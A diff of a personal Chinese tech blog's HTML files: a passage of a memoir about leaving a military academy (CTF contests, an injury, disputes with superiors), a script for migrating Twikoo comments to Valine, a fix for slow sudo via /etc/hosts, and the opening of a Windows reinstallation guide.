第一次做展板工作的时候,因为PS我用得其实不是很熟,在那个时候,所以做得还是比较慢的;但是后面越来越熟,而且逐渐有了自己的一套设计的体系和概念,就可以开始摸鱼啦~

+

具体来说就是:先以极快的速度做好他要的内容,然后开启B站,开始刷视频,或者就写我自己的程序;然后在他给我的时间临近DDL的时候,拿去把稿件给他看,合适就通过,不合适回去改了继续摸鱼~

+

队里“有的没的”

C某这个人他身在学院,一个学习的地方,但是他不看重你的学习,他反而看你队列走得好不好,屋子弄得干不干净。我说白了,这种看法在基层是通吃的,但是在学院真不通吃。学院是学习的地方不是给他拿来讨好上级的地方。他这样子干了以后,考试成绩出来就说“啊?没时间学习吗?时间都用到哪里去了?晚上别睡觉了,加班到十一点半,强制!”,然后平时把你的空闲时间拿来搞卫生和练队列(队列在他眼里就是形象,形象好了内在不重要),不让你学习,你的学习成绩又会继续烂下去;你就试着想你的上级想要你有业绩,然后不让你做工作,让你天天打扫自己的工位、打扫办公室什么的,然后你业绩不好,让你加班,加班完了以后,平时的上班时间又开始让你弄表面功夫,如此一个恶性循环

+

伤病的出现

我也说过,我是个标准的Otaku,我身体确实不行。当时我们队里的傻逼管理弄了一个什么“补差班”,说白了就是把他们认为不行的人丢进去,然后让领头的带着训。领头的那个是基层考学上来的,是海军陆战队的。一上来那个训练强度大得很,说白了真受不住。我自己个人本身就是容易受伤的体质,然后在一次训练过后(那天训练的是跑步,(1+2+4+8+4+2+1)*400,中间休息2分钟,但是按我的速度人跑完了在休息了我还没跑完,我跑完了人就上去了我又要跟着上去,几乎没有休息的时间)膝盖略感不适,然后后来去医院查说是膝盖有问题,我就没有怎么参与训练了

+

寒假

军校是有寒假的(过年不让你回去他还是不会的,但是基层是过年回不去的),也就一个月,当时我记得很清楚,我妈在我隔壁邻居来我家的时候说我在军校,我当时我就说了一句:我要哪天不高兴不想呆在那里我就溜了。我妈估计也认为我是给她开玩笑,没在意,但是我当时是有这个想法的

+

后来没考虑太多,毕竟该玩玩嘛

+
+

这一学期,我们跑路了一个人(海南的,他个人学习能力确实不行)

+
+

第二学期:发展爱好

开学

开学的时候,当时就说有上面的人下来检查,然后要我们把电脑啥的东西全给弄走

+

我说白了这种检查这个B地方就是在做表面功夫,做那种,形式主义。有一说一,形式主义在这里面很严重,至少在“一队”里面很严重

+

我是两台电脑,我家里不是住在广州吗,然后当时就是我这边兄弟说把电脑寄放在我家里,于是让我妈过来拿

+

当时那个时候队里很操蛋,就是下面那个C某没事找事,天天搞那些有的没的,直接就不让你学习。主要体现在你走队列,你自己明明是几乎”夹着尾巴“做人“,走得很标准,但是人就是要没事找事情做,天天骂你,“啊?学什么习?队列走不好还学?”,然后晚上睡前点名(每天晚上要点名)的时候,给你讲个一小时,留下十分钟给你洗澡刷牙什么的,你根本就不够时间。自己的生活都料理不好,谁还去管他那个东西。所以我对C某是完完全全没有信任的,不相信他会干出人事

+

所以当时我妈过来的时候,我就明确地说了我想要溜,我妈就开始做心理工作,我说白了说着说着表面上是没那个想法了,其实说白了完全脱离不了这个想法。这个学期我们队里有一个人明确地说了他想要跑路

+

复查及手术

有一个星期,我做了院内的大巴去医院复查我的问题,照了核磁共振以后医生的意思就是说很严重,要手术。军内手术是需要报告的,回去就跟底下那两个说了,那两个的意思是保守治疗,但是医生的意思是要立即治疗。然后让我们打一个情况说明通过内部的即时通讯发给L某H,但是发了,发了以后就没下落了,直到后来忘了哪一天,我们参保的医院出现了疫情,然后把我们去过医院的隔离了,我跟我妈联系了然后我妈去问上面的人,人一级一级追下去才弄出来的报告通过。

+

当时把我和我一个兄弟丢去医院手术,医院的规定是病人只能有一个陪护,我妈当时上班,第一天去的时候是办入院,晚上我妈才过来的,第二天就上手术台了。上完手术台下来,在医院休息了一天,第三天我们学院里面告诉我们封了,不让进出,我们回不去了,结果我们那里的医生已经给我们办好了出院。后来是L某H联系了医院给我们康复科留了一个床位。但问题是我们在骨科要搬到康复科,人还催着我们走(病床不够),我们没有人陪护。只能是我伤的没有那么重的推着个轮椅先把我兄弟送过去,然后再用轮椅把东西一点一点搬过去。过去以后,因为人伤的重,我就把病床让给了人家,结果人有看护,我没有看护。我该打的消炎针什么的东西都没有打,这也导致了后面恢复不好。

+

在医院呆了两周,找了个机会回去了,回去了以后上课是正常去上,但是不参加训练,养着。但是我本身就术后没处理好,而且学院里面没有会看护的人,就导致了一系列的麻烦。而且下面那两个人,特别是C某看我们两个特别不爽,就好像我们欠他钱似的,看着我们两个在队里养着,其他人照常训练,他自己认为我们两个搞特殊,问题是这不是我们搞特殊,是有这个必要,但是他就是一直类似于“被害妄想症”那样有他的癔症,天天在那里猜疑

+

所以就导致了手术后甚至到此学期的期末,实在是生活在所谓的猜疑之中,没有心情去学,也学不下去

+

表彰典礼

说是表彰典礼,但是我人在医院躺着没去,然后等我回去,说给我了一个什么“宣传先进个人”,我说白了这个东西谁都知道是拿来打发人的;此外我还听说了当时的指导员(以下称作Z某X)把我做设计的那些还有做视频的那些功劳全部拿走了,本来是我的“四有”(有灵魂、有本事、有血性、有品德,有点类似于学校的“三好学生”,但是含金量高一些,而且有勋章)给它拿走了(没打错字,这个人不配称作人)。这个人完全背叛了我的这些工作,说白了在我这里就失去了信任。

+

做脚本

因为腿伤了嘛,所以下午不去参加体能训练,我就在宿舍里面弄东西,然后就弄了云原神的那个脚本和Steam自动卡牌的那个东西,这都是题外话

+

参加ACM比赛

说是ACM比赛,其实就是蓝桥杯。我们队里的L某H还是很支持下面人的爱好的,所以当时我去参加,人也没有说阻止。因为我这个学校的总部是在广西,所以当时参加蓝桥杯是参加广西省的省赛。也是运气好,当时拿了一个广西省的二等奖。

+ + +

Hello CTF!

CTF这个东西,其实是在我高考完的第二天,我那天在打第三针的新冠疫苗,然后I-Info这位小兄弟在QQ找我问我对CTF有没有兴趣,在那个时候我才接触到这个东西的

+

后来在大一的下学期有所谓的俱乐部(说白了就是选修课,但是选修课1学分一门,俱乐部2学分,二者占用的时间相同),我选了网络攻防俱乐部,虽然吧里面的教员都是半斤八两,大家都是玩这个的同时在学,我也稍微学了一点点东西,但说白了也没学多少,可能社工自学的比较多

+

当时就有CISCN的报名,就去报了,想着去试试水。

+

当时在定我们的团队名,我们是三个人,一个叫做JIO(因为名字读起来很像JOJO),一个叫侯(也跑路了),另一个就是我。我说白了,其实JIO就是个老司机,只能说懂得都懂,然后当时因为听说玩偶姐姐做空以太坊退圈了(我到现在都不知道是不是真的),然后它就灵机一动,把队名定成了hkd01l(你现在在CSDN搜这个名字出来的那个用户就是他)

+

打CISCN(全国大学生信息安全能力竞赛·实践赛)

+
初赛

那天因为是第一次打,而且这个比赛分为答题和实践,答题是2小时120题(我记得是这个数),然后取队内成员的平均分加权,加上实践赛的分数加权算排名来算复赛资格的

+

答题满分我记得是1k2,我拿了1k出个头(百度大法好),然后他俩是大概八九百的样子;到了实践赛,但是有一道是叫做签到电台(说白了就是签到题),然后我就给做了出来(链接在这里 -> 2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp),结果我们非常好运进了复赛

+
复赛

+

复赛那就是大佬的舞台了,不过复赛是分区域的,我们算作华南赛区。

+

复赛分为breakfix,说白了就是先打再修

+

进去以后首先发现:没有签到题!!!也就是说如果我们没有能够解出任何题目的话,我们就拿不到分

+

break环节,我是在反复看哪些题目是有缺口能够被我们打进去的,但是说白了我们三个人都不会什么东西,所以break真的是一分没拿,但是JIO桑给了一个很关键的信息:在题目Try2ReadFlag里面,有一个SSRF漏洞

+

到了fix环节,他是有web题目和pwn题目进行修复。pwn啥都不会就完全没看。

+

Try2ReadFlag这个题目,我就逮着SSRF来修,然后没想到真给我修到了。fix环节的机制是修好的记为100分,有3次检测环节,在第一环节检测修复后,后面默认为修复完成,直接+100,也就是这个机制,最后让我们拿到了300分的“高分”,拿了一个华南赛区三等奖

+ + +

然后他们后来就开玩笑说:这把是我carry全场,事实上也确实,初赛是用我1k出头的分数拉上去的,复赛是我修的:<

+

复赛相关文档 -> 2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp

+

打2022网鼎杯

主要就做了个签到题和一个加密题(爆破大法好!),还是我做的:<,当然因为网鼎的技术含量比较高,里面的都是大佬,所以基本上就是被完虐了

+

网鼎相关文档 -> 2022网鼎杯青龙组——个人WriteUP

+
网鼎小插曲

因为CTF比赛的机制是flag为独一无二的,也就是说个别队伍的flag你是不能直接拿来用的,结果在违规通报里面,有人在签到题,用了别人队伍的flag,然后就理所当然的两个队伍违规处理了 :>

+

教导员升官跑路

对,记得我们是那一周的周二还是周三得到的消息,然后周五就跑路了,直接就升职了,跑去总部去做领导去了。这个人我还是比较尊敬的,人确实为了下面的人着想,不过说句实在话,他应该是知道我会跑路的

+

我当时住院回来,跟JIO聊天的时候,他就说过这个教导说我不适合在这里,所以他应该是预料到了的

+

期末考前两周

我是手上有两个手机的,一个放楼下(红米NOTE11)给查,一个自己平时放在电脑包里(红米 K40),我经常用K40跟我妈发微信,考前两周那个时候C某又在弄有的没的那些东西,不让你好好复习。“复什么习?空闲时间拿来练队列!还复习?”加上从这个学期开始,我就已经不是很想学习了,在这里是真的学不下去,我就在微信里面跟我妈说了我想跑路,但是这个学期没跑成,因为各种原因,包括准备不足什么的

+

第二学期:暑训

对没错,一开始报考的时候说有暑假(你有个几天那也叫有啊,这个是连几天都没有),结果实际上给我们扣了,说是“暑期强化训练”也叫暑假,我呸

+

然后两个月就练那点东西,一半还是新训学过的,唉,一言难尽

+

因为第二学期有两个小老弟跑路了,他们在办手续(跑路的手续),但是事实上,放暑假,人机关的放假了(没错机关还能放假,我们不配当人),办不了,最后还是第三学期开学一个月了才走的

+

插曲:新教导员

新的教导员是我们暑训的时候来的,它叫做J某K,以下简称K子K子在来的时候还是很沉默的,就是放养。暑训的上半段是C某休假,所以就他一个,一个星期过了以后就开始不当人了

+

他在晚上点名的时候开始训斥人,说“你们以前的教导员和你们队长是怎么带你们的带成这样”(他是士官队上来的,也是跟C某一样完全不懂学员队而非基层连队,这两个是不能一概而论的,带人的方法是不能一样的)

+

等到C某回来的时候,人还直接当着C某的面说“你们带的什么样”巴拉巴拉的,唉,只能说大言不惭,唯我独尊吧

+

第三学期:当个咸鱼

反正这个学期要走了,不如就当一个老咸鱼吧,反正我还是作为病号生活的

+

表彰典礼

嗯没错,这东西甚至是一学期一次,结果第二学期的指导员(以下称作Z某F)跟上面的Z某X一样,也是个抢别人功劳的人,还是抢走了我的那些东西,我都服了,第二次啊,这是第二次啊!!!

+

典礼前夕

说到这里,因为我不是搞队内的宣传工作吗,然后他们让我做个视频在表彰典礼上面放。一开始说没有任何要求,我堆了个12分钟的视频,拿去三队跟他们友好交流,然后人告诉我不能超过三分钟,诶但是你一开始没说啊,爬!

+

然后回去搞,搞到凌晨4点(对,时间给的甚至不多),实在搞不下去了,草草弄了一点,睡觉去了

+

早上起来,Z某F来看,说小改一下就可以了,然后就改了嘛

+

改了以后到了典礼当天

+

会场现场

这东西是在正式开始之前放的,然后我们的其实没啥问题吧,就……短了点。过去后发现人三队背叛了我们,人做了快二十分钟的视频,基本上整个放视频的时间段给人占了

+

然后还是办了个什么宣传先进个人给我,麻了

+

会后

在某一天吃早餐的时候,C某叫我过去,又说了一堆,说人三队的那么长我们的那么短,他都不知道我们的是在哪里,然后又开始说什么竞争不过别人之类的话,然后又开始PUA,我都服了

+

考计算机二级

我还是报了个计算机二级来考的,反正一定能过,拿个证呗

+

+

K子的两面派

在某一天,K子说有个活动要我们参加,就是那种大会,然后让我们队去参加

+

到了晚上,他就开始骂人了:“我给你们争取那么好的机会,你们不珍惜,坐的跟个什么鬼样。别人队都没有这种机会,就我们队有,你们还不好好珍惜!”

+

这里需要对两点做出说明:

+
    +
  • 他的意思是参加任何活动都要正坐,动都不让动,然后他自己在那里葛优躺
  • +
  • 所谓的别的队没有,那是因为在领导班子开会的时候,需要一个队去参加,然后别人都不举手,就他举手,叫做“别的队都没有,就我们有那么好的机会”,实际上是没人想去,他自己为了在上级面前“出风头”罢了
  • +
+

期末考试

+

规则:

+
    +
  • 一个学期挂4科,或者挂3科且补考均不过,或者连续两学期挂4且补考均不过进行退学处理
  • +
  • 期末考试分数小于60直接算挂科,大于60则跟平时分加权,相加小于60也算挂科
  • +
+
+

这次期末考试我就开始我的计划了,我们总共考好像是6门,我是挂了英语、概率论、近现代史、电工、还有个啥东西忘记了。按照规则,一个学期挂4科,或者挂3科且补考均不过,或者连续两学期挂4且补考均不过进行退学处理,至于为什么是五科,因为我怕教员给我拉回来。我们内部有一科目,就是那种背背就能过的,我每道题目(开放题)我就写了一句话,人甚至给我拉了回来,这个科目的成绩在这几科前面出的,所以我就直接挂5了

+

第四学期:办理退学

回去以后就开始填各种东西,然后因为某些原因导致我推迟了很久才成功退了出来。这些不是重点,重点是他们处理问题的方式

+

归校当天

我回去其实是压点到的,因为路上出了交通事故

+

到了以后,那两个傻逼把我和另一个广西的叫过去(以下简称老表),然后就说了一下要办手续之类的东西,然后把老表放上楼了

+

我一个人在那里,然后他们说我什么都不跟他们说,按他们的意思就是整个队里你最能信任的就是你队长我和你教导我。放屁!你们什么骚操作没做过,你们早就在手下的人这里失去了信任,还跟你们说?我说白了,一旦有这个苗头的话早就进入整顿模式了,说个屁。真把自己当成所谓的“知心大姐姐”吗?甚至这两个人还想把我留着,真是TMD🐶

+

接下来,C某将被我们叫做C狗,我会用🐶表示,这个人真的不配当人

+

确定接受地

按照现行的退役军人安置方法,我的接受地应该是白云区,但是当时机关那边让我开的是黄埔区的保险信息(要交社保),然后我去问K子,人就翻我档案,说我是黄埔区入得伍,所以是黄埔区接受。那人都这么说了,就当是黄埔区吧,又去黄埔区开了保险信息。

+

我走了以后,去黄埔区的退役军人事务局报道,人家看了我的信息表,说我应该是白云区接受,而不是黄埔区。然后后来他们去问了他们的上级,让我等两天

+

🐶的逆天发言

我把情况跟🐶说了,他说我去问。诶不是,我都问了,人家说得请示上级,你自己都知道请示是个什么流程,你让我问,我问什么?问了就能出来啊?

+

不过我当时没有去怼他,因为毕竟事情没办完,还“有求于人”

+

过了两天,🐶又打电话给我,说确定没,人那边没有给我回复肯定没有确定嘛。然后”他🐶了一句逆天发言

+
+

明天确定不下来你就回来,你不能呆在家里

+
+

WTF我人都跑路了你还要我回去?你在公司里把人辞退了还能把人叫回来的?这人一定要听你的,你想让他回来他就回来?你想让他走他就走?搞笑!

+

次日,🐶又打电话给我,那肯定是没确定嘛。然后他说

+
+

那你收拾收拾东西,跟你父母说一下,晚上回来!

+
+

谁TM回去!我才不惯着你,这种人是没有上级去压制他他就不会安分的,一个不当人的🐶!

+

我打电话给我们政委,政委给了大队长的电话给我,我跟大队长说了情况,大队长说“哪有他这种道理,你不用回来,我去跟他说”

+

到了第三天,终于确定下来是白云区。人那边给我重新开了《行政介绍信》,然后让我去拿

+

各种拿资料

我总共回去了两次,因为拿资料。我第一次回去就是上面说到的拿白云区的行政介绍信。在那之前他们说有两个包要还,不是给我的,然后顺带给人带回去。

+

第一次拿资料

第一次还很顺利,就回去呗,我本来想的是人给我拿出来,我又不是属于你那个单位的了,我没有什么理由进去

+

然后K子让我进去,那拗不过人家就进去呗,进去拿了就跑,然后他俩还假装“嘘寒问暖”了几句

+

第一次报道

当天下午,我就去白云区那边报道了,人因为我没有退伍证(现在叫退伍证书),然后报道不了,我又把情况跟他们说了,然后K子咬定了说我就是没有这个东西

+

问题是人正常退伍怎么可能没有?你自己不想去问而已,就直接一句话搪塞过去

+

后来是退役巨人事务局那边跟他说了,然后我回家又跟他说了,他才说开一个证明说目前没有,后面补发

+

然后当天打电话的时候,我又开的扬声器,然后我爸听到他说的就是骂人很难听,然后就跟人吵了一架

+

第二次拿资料

第二次拿资料是快四月了(三月底,记得应该是3.31),又是他那边让我进去拿的(说实话我都不想进去),当天另一个跑路的人(选择补考不过跑路,手续办的晚)让我给他带份饺子(门口有清真面馆)

+

我进去了以后,在K子那边拿走了以后,不知道这个人发什么神经,又说我把无关的人拉进来吵架(我爸),然后又哔哔叭叭跟我在那里说他所谓的大义,说什么他都不想待在家里,因为家里有矛盾,他处理不好家里的矛盾,然后说我把家里的矛盾延伸到外面来,我都无语了,我不想跟她吵,因为那天下午是有计划要出去见亲属的

+

他说完了,我上去把饺子跟人家送一下,然后🐶又在楼下喊我,一开始我也没听到,在人家房间里面听个鬼

+

后面我下去了,又说我跑路了就不听他们的了(这是什么道理我跑路了当然不听你的呀,你是什么东西),跟他们打电话就只会哎,哦(我难不成还要你在喊我名字的时候我到一个不成?),说我不讲礼貌(你们两只🐶都不值得我尊重我凭什么);讲完这些又说我找人压他(指我找大队长来摆平他那个让我回去的事情),说我回去是本分(你放屁,你试试叫一个辞退的员工回来?),又耽误了我一小时,后面我才走的

+

最后只能在白云区那边预报到(因为没有证)

+

对于军校的概括(仅个人观点,仅针对特院,仅针对于2021级)

    +
  • 教育水平不如专科,一本只是个噱头
  • +
  • 本质上是靠身体吃饭,跟你知识储备基本没有关系
  • +
  • 领导完全不会了解手下的人,所谓的“经常谈心”是为了应付上级检查而写的
  • +
  • 领导的心在转业和升官上,都是为了在上级面前出风头
  • +
+

我的想法

很多人都跟我说:你好不容易考上军校了就这样不读了,不是很浪费吗?多少人想去军校考不上的?

+

对于这个观点,我想说的是:

+
    +
  • 1、这是我自己的选择,决定读不读不需要你认为,只要我认为读下去没有价值,复读收益更高,那我就要跑路。
  • +
  • 2、你认为考军校很难,那是因为教育不平衡导致的,我无法否定对教育水平落后的地区他们考军校难,但是我受的教育,让我对考军校这个事情是能够实现的,并且它是作为很次选的方案误打误撞中的,对我来说不叫难。你觉得难那是你的观点。
  • +
+

在家里的生活

回到家里主要有几个改变:

+
    +
  • 没有那两个傻逼的压力
  • +
  • 我过得相对轻松
  • +
  • 能够自由地跟朋友们聊天玩耍
  • +
  • 能够去任何我想去的地方
  • +
+

总结:自由

+

是,我是一个很不受管的人,管理你相对轻松我可以睁一只眼闭一只眼,但你要PUA我,我不能接受

+

你说算不算00后整顿职场,我也不好说,但是我看来好像是有点那种意思

+

玩瓦罗兰特

嗯没错,作为FPS玩家,我开始玩起了瓦罗兰特

+

最开始我是用我的LOL PBE账号玩的,然后后来说缅甸号比例高,我就去开了个缅甸号,那天是2023.4.11

+

做第一个大项目

在我在家里呆着的这几个月,我做了我人生中的第一个大项目——Valora,当时是心血来潮做的,做到现在三个月,功能已经完善好了,是个成熟的项目了

+

复读报名

在6月末的时候,我去了要复读的学校报名(现在先不说),这个学校是全日制的,而且管理也相对严格,不过没有特院那样

+

7月31日要入校了,所以接下来一年我都不会露面了。不管项目出现了什么bug,我也不会去修的了,一年后积累了多少问题,到那个时候我们再慢慢修吧

+
+

人总要对自己的选择负责的

+
+

到此,结束!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Why-I-Choose-to-Repeat-High-School/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
Recent Post
\ No newline at end of file diff --git a/posts/Why-I-return-to-Valine/index.html b/posts/Why-I-return-to-Valine/index.html new file mode 100644 index 0000000000..86e3f7366e --- /dev/null +++ b/posts/Why-I-return-to-Valine/index.html @@ -0,0 +1,322 @@ +为什么我选择用回了Valine? | GamerNoTitle + + + + + + + + + + + + + + + + +

为什么我选择用回了Valine?

熟悉我的小伙伴应该知道,我的网站的评论系统经历了几次更换,最开始我用的是Gitalk,但是因为要登录Github账户,而且不是所有人都有Github账户,所以就更换了

+

后面用上了Valine,Valine用得很舒服,yysy,配置好Valine-Admin后基本上可以撒手不管了,但是后来Valine停止更新了,就想着去用下Waline

+

Waline用了没多久,发现这东西后端一直连接不上,然后就又更换了

+

最后换成了Twikoo,这个东西跟Waline一样是要用MongoDB的,所以直接把Waline的MongoDB给它用,没一会就搞定了

+

你以为到这里就这么简单了嘛?如果真的是的话我就不会发这篇文来吐槽了

+

Twikoo Vercel部署无法发邮件

最开始我是部署在Vercel上面的,这种方式就是很方便,因为Vercel本来就是一个很便捷的平台,没有很多繁琐的操作,再说,Twikoo支持一键部署,所以就部署在了Vercel里面

+

用了两周以后发现一个很大的问题:Vercel链接微软服务器会超时!我的域名邮箱是在Office365上面的,自然邮件提醒功能就要链接微软的服务,然后Vercel使用邮件提醒的时候,就会超过Vercel规定的10秒上限,导致函数运行直接超时,然后发不出邮件

+

幸好,Twikoo不只是能够在Vercel部署,我又把目光投向了Zeabur这个平台

+

Twikoo Zeabur部署 数据丢失事件

我不能说Zeabur不好用,他确实很好用,非常好用,几乎完美解决了我的容器需求,但是凡事都有个但是,Zeabur在2023年七月初上线了签到延长使用期限的功能,也就是说如果我不签到,我的应用会自动被停机

+

+

我在Zeabur部署Twikoo的时候,那还是Zeabur平台的早期,当时的设定是MongoDB会部署在Twikoo容器的内部,这就导致了但凡Twikoo进行了一次重启,所有的数据都会丢失

+

很不幸,我的数据正是在这种情况下丢失了,一点都没有剩下。幸好,在我之前部署Vercel的Twikoo的时候,里面的MongoDB的数据是还在的,尽管它不是最全的,但是能恢复一部分已经是很不错的事情了

+

或许你会问我:现在Zeabur的付费机制可以绑定支付宝,为什么不用呢?我只能说数据丢了一次以后,我在想尽各种办法来避免这种情况,所以目前Zeabur不在考虑范围内

+

+

Twikoo Render部署 程序底层导致的无法发送邮件

当我把Zeabur上的应用迁移,特别是Valora迁移的时候,我尝试找一个能够连续不断跑容器的平台,最后选择了Render这家,它可以在新加坡部署容器,且一个月有750小时的运行时间,完全够一个容器跑一个月的了,所以我也把Twikoo丢到了这个地方

+

当我搬上去以后,进行了一系列的配置,然后再次尝试邮件的时候,发现还是发不了,这不是配置上的问题,就是Twikoo发不出去

+

发现了以后,我又尝试用了Valine-Admin来发送

+

重新接入Valine

放弃使用Valine其实还有一个原因,就是Leancloud的国际版禁止国内IP访问了(业务域名和自带的引擎域名),我是搬到了国内版去用的,但是国内版要求备案,搞得我很烦(后来找了代备案搞定的)

+

这次重新接入Valine,我选用的是国际版,国际版之前的数据我都没删掉,就是换用Twikoo以后的新增数据没有了,这个没办法,最后就只要解决国内不能访问业务域名的问题就可以了

+

这里我用了Vercel作为反代,然后把serverURL设置为了我的反代域名,才解决了国内访问不了的问题

+

+

测试Valine邮件

我重新部署了一次Valine-Admin,来避免一些遗留下来的问题,部署完成后,在我的网站匿名发送了一条测试评论,邮件顺利送达

+

+

最后我恢复了Valine的使用,尽管它现在已经不更新了,但是它能够满足我的基本需求,所以我还是选用它

+

FIN

最后我改了一下我导出的MongoDB的数据,发现可以被Valine正常识别,只需要修改一下数据的类型就可以正常被导入了

+

导入以后发现……这个邮件它以前没发的全给我发了

+

+

对不起对不起对不起!!!我没想到它会自己发出去

+

加更:Twikoo合并入Valine并去重

就像我上面说的,我的Valine数据是导入进去过Twikoo的,现在Twikoo导出的数据是json(用管理面板里面的那个导出),直接导入Leancloud是没问题的,但是珲面临下面的问题:

+
    +
  • 时间格式不正确:Twikoo的时间格式是时间戳,而Valine用的是Leancloud的Date类型
  • +
  • Twikoo无用数据较多,uidmastertop什么的标记需要去除
  • +
  • 去重!去重!还是去重!
  • +
+

经过我在火车上的一小时奋战,我终于弄出了这个脚本(Twikoo导入Leancloud后在Leancloud导出数据库)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import json
from datetime import datetime


def timestamp_to_iso8601(timestamp):
# Convert timestamp to a datetime object
try:
dt_object = datetime.fromtimestamp(int(timestamp) / 1000)
except TypeError:
return timestamp

# Format the datetime object to ISO 8601 format
iso8601_format = dt_object.strftime('%Y-%m-%dT%H:%M:%S.%fZ')

return iso8601_format


with open('comment.0.jsonl', 'rt', encoding='utf8') as f:
lines = f.readlines()


def write_data(data):
with open('Comment.json', 'wt+', encoding='utf8') as f:
f.write(data)


exist_data = []
finaldata = []
# write_data('#filetype:JSON-streaming {"type":"Class","class":"Comment"}\n')
for line in lines:
if line.startswith('#'):
continue
data = json.loads(line)
if {"nick": data.get('nick'), "link": data.get('link'), 'comment': data.get('comment')} in exist_data: continue
if data.get('created'):
data['insertedAt'] = {"__type":"Date","iso":timestamp_to_iso8601(data.get('created'))} # Valine的时间索引
data['createdAt'] = timestamp_to_iso8601(data.get('created')) # Leancloud自带
data['updatedAt'] = timestamp_to_iso8601(data.get('created')) # Leancloud自带
if data.get('top'):
del data['top']
if data.get('master'):
del data['master']
if data.get('uid'):
del data['uid']
if data.get('created'):
del data['created']
if data.get('mailMd5'):
del data['mailMd5']
finaldata.append(data)
exist_data.append({
"nick": data.get('nick'), "link": data.get('link'), 'comment': data.get('comment')
})

write_data(json.dumps(finaldata, indent=4))
print(len(finaldata))

print('done')
+ +

运行完后在Leancloud导入Comment.json文件后,就完成了!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Why-I-return-to-Valine/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Why-my-sudo-is-so-slow/index.html b/posts/Why-my-sudo-is-so-slow/index.html new file mode 100644 index 0000000000..66fc5320b3 --- /dev/null +++ b/posts/Why-my-sudo-is-so-slow/index.html @@ -0,0 +1,289 @@ +Linux踩坑记录:为什么我的sudo反应这么慢 | GamerNoTitle + + + + + + + + + + + + + +

Linux踩坑记录:为什么我的sudo反应这么慢

在用Kali的时候,用的最多的东西就是sudo了,但是在使用的过程中我发现一个问题:我在使用sudo的时候要等个半分钟到两分钟的时间才会让我输入密码,但是刚刚安装好kali的时候就不存在这个问题

+

+

当我在百度搜索的时候,我发现了有一种情况非常贴合我的kali:修改过hosts(/etc/hosts)文件

+

按照百度出来的结果描述,当使用sudo的时候,会先去寻找主机地址,而hosts文件中有几行就是写了主机地址的

+
1
2
3
4
5
6
7
127.0.0.1	localhost
127.0.1.1 kali-vmware # 这个是主机名,我这里在VMware上面装的而且命名为kali-vmware

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
+ +

我打开我的hosts文件,因为之前修改过,后来被我删掉后重新touch了一次,所以是空的,我把这几行加回去后,诶,正常了

+

经验教训:不要随便删掉hosts文件

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Why-my-sudo-is-so-slow/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Windows-Setup/index.html b/posts/Windows-Setup/index.html new file mode 100644 index 0000000000..48f4b5bd76 --- /dev/null +++ b/posts/Windows-Setup/index.html @@ -0,0 +1,319 @@ +别再问我怎么装系统了,再问我就把这边文章丢到你脸上! | GamerNoTitle + + + + + + + + + + + + + +

别再问我怎么装系统了,再问我就把这边文章丢到你脸上!

+

封面来源地址

+

为什么会写这篇文章?

昨天晚上我拉我们班某位钻石大佬打LOL,带我上分,结果他告诉我他电脑炸了,要重装系统,问我怎么重装系统。。。

+

我是这么回答他的(源自微信聊天记录):

+

+

我(内心):有句MMP不知当说不当说。。。

+

今天我就要来详细讲一讲怎么新装/重装系统(win7~Win10通用,不包含Linux)

+

序言

我会介绍两个方法,第一个我把它叫做萌新友好法,第二个我把它叫做萌新不友好法

+

这里用到的工具稍微列举一下:

+

1.萌新友好法:Windows官方镜像、一个8G+的U盘、U深度或者其他乱七八糟的PE工具箱(这里没有给U深度打广告的意思,只是我一般介绍别人方法的时候会告诉他用U深度)

2.萌新不友好法:Windows官方镜像、软碟通(Ultraiso,无需注册)、一个8G+的U盘

开始装机!

1.1/2.1、镜像下载

你需要去微软官网或者是某些网站上面下载Windows的官方镜像,这里推荐Windows官方下载工具或者推荐网站MSDN, 我告诉你下载镜像。

+

需要注意的是,如果使用Windows官方下载工具,建议直接使用里面的“为另一台电脑创建介质“功能,并且直接插入U盘写入,当然你愿意选择创建ISO也可以,ISO的用法会在下面提到。

+

如果使用MSDN下载,那么建议使用支持ed2k协议的下载工具(例如迅雷,但不推荐)来下载,在这里介绍我平常使用的方式:将ed2k链接丢进百度网盘的离线下载,然后创建分享,在分享链接的pan.baidu.com的baidu后面加wp变成pan.baiduwp.com,进入PanDownload可以下载得快一些(文件需小于4G,否则还是得使用百度网盘)

+

1.2、写入U深度

+

插入U盘,勾上支持UEFI启动(现在的电脑应该都支持),点击开始制作。(当然你可以选择高级设置设定自己的UI)

+

制作完后可以试试模拟启动,看看是否制作成功了

+

1.3、解压Windows镜像

将Windows镜像解压,丢在U盘的根目录或建立文件夹丢在文件夹内(不要直接把镜像丢在ISO文件夹里面,等会会告诉你为什么)

+

1.4、从U盘启动

重启你的电脑,打开启动菜单(按什么键请问百度),选择你的U盘,如果发现有两个同样名字的U盘,优先选择前面有UEFI字样的,如果UEFI无法启动再选择没有UEFI的。进入PE,可以在导航栏右边的彩屏图标右键调整分辨率(不是必要的),关闭弹出来的装机工具(不推荐使用它,因为使用它装系统后第一次开机会有很多奇奇怪怪的软件。这也是不推荐把ISO直接丢在U盘的ISO文件夹里的原因)

+

1.5、用WindowsNTSetup安装系统

在桌面上找到WindowsNTSetup,或者在所有应用里面找到它,打开它。

+

+

